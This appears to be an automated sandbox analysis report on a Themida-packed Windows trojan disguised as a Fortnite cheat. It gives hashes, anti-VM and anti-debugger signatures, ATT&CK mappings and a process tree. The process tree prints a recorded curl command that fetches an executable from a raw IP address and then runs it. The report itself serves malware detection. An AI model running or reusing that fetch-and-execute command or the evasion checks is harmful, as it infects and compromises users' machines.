4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d

General

Target

bat.win_external.exe
Size

4.2MB
MD5

3a15201746d47d11f659d8848fc71574
SHA1

c759fd19df4a289d2d3b251f822220e2ea9df57c
SHA256

4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d
SHA512

7c9479b5260cc88a0f7b9d7f46fbd4f9c7c1f5c882fb270892f3a2c49a9fada0245c234ac9c65d61500560533345c61447bd67f7f44114234dd8ad22e329c00a
SSDEEP

98304:/fsr5evYrZ6ujAIE/2jc+xKijsunRMqEd/oWwBVv:8j6ujtE/GcSK+hn+qw7wB5

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bat.win_external.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bat.win_external.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bat.win_external.exe

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/2268-1-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida
behavioral1/memory/2268-2-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida
behavioral1/memory/2268-3-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida
behavioral1/memory/2268-4-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida
behavioral1/memory/2268-5-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida
behavioral1/memory/2268-6-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida
behavioral1/memory/2268-12-0x000000013FF70000-0x0000000140A75000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bat.win_external.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2268	bat.win_external.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 2508	2268	bat.win_external.exe	29
PID 2268 wrote to memory of 2508	2268	bat.win_external.exe	29
PID 2268 wrote to memory of 2508	2268	bat.win_external.exe	29
PID 2508 wrote to memory of 2972	2508	cmd.exe	30
PID 2508 wrote to memory of 2972	2508	cmd.exe	30
PID 2508 wrote to memory of 2972	2508	cmd.exe	30
PID 2508 wrote to memory of 2888	2508	cmd.exe	31
PID 2508 wrote to memory of 2888	2508	cmd.exe	31
PID 2508 wrote to memory of 2888	2508	cmd.exe	31
PID 2508 wrote to memory of 2524	2508	cmd.exe	32
PID 2508 wrote to memory of 2524	2508	cmd.exe	32
PID 2508 wrote to memory of 2524	2508	cmd.exe	32
PID 2268 wrote to memory of 2532	2268	bat.win_external.exe	33
PID 2268 wrote to memory of 2532	2268	bat.win_external.exe	33
PID 2268 wrote to memory of 2532	2268	bat.win_external.exe	33
PID 2268 wrote to memory of 2576	2268	bat.win_external.exe	34
PID 2268 wrote to memory of 2576	2268	bat.win_external.exe	34
PID 2268 wrote to memory of 2576	2268	bat.win_external.exe	34

C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe
"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5
    3⤵
    PID:2972
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:2888
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:2524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/BAT.WIN_New_Fortnite_External.exe -o C:\NewFileVersion.exe --silent
  2⤵
  PID:2532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\NewFileVersion.exe
  2⤵
  PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2268-0-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download
memory/2268-1-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-2-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-3-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-4-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-5-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-6-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-7-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download
memory/2268-8-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download
memory/2268-9-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download
memory/2268-10-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download
memory/2268-11-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download
memory/2268-12-0x000000013FF70000-0x0000000140A75000-memory.dmp

Filesize
11.0MB

Download
memory/2268-13-0x0000000077470000-0x0000000077619000-memory.dmp

Filesize
1.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads